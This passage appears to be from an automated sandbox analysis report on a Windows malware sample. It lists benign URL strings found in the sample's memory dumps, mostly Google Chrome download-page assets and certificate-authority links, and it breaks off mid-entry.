Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.281195018.0000000004290000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.348012619.00000000064F4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.344174154.0000000005EF9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336368762.00000000045B7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338946149.00000000042A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.389164860.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292001467.0000000004548000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336535994.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331031184.0000000004530000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357696933.0000000005170000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336507106.0000000004535000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333384613.0000000005280000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293145483.0000000004510000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335668381.0000000005281000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335597760.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331932541.0000000004590000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338825887.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.389048328.0000000005F78000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.343709308.0000000005F79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.343605642.0000000005F99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.500799028.0000000006319000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532286156.0000000006318000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.500727925.0000000006339000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293479827.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345318581.0000000005C31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502891434.0000000006611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495669681.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447881224.0000000004748000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293479827.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345318581.0000000005C31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502891434.0000000006611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495669681.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447881224.0000000004748000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=GTM-N7S69J3&cid=892565928.1601478348
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290256424.0000000004268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.443760045.0000000004480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495268701.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/
Source: d.0.dr	String found in binary or memory: https://www.google.com/chrome/
Source: d.0.dr	String found in binary or memory: https://www.google.com/chrome/application/x-msdownloadC:
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v3.min.css
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/app-store-download.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome-logo.svg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_throbber_fast.gif
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_phone.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-fb.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-help.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg
Source: d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/folder-applications.svg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/google-play-download.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-beta.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-canary.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-dev.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-enterprise.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_features.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_privacy.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_tools.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/laptop_desktop.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-announcement.svg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-file-download.svg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/images/mac-ico.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/js/installer.min.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/static/js/main.v2.min.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336865660.0000000004397000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.336903203.0000000004397000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490022794.00000000059F8000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.google.com/pagead/drt/ui
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 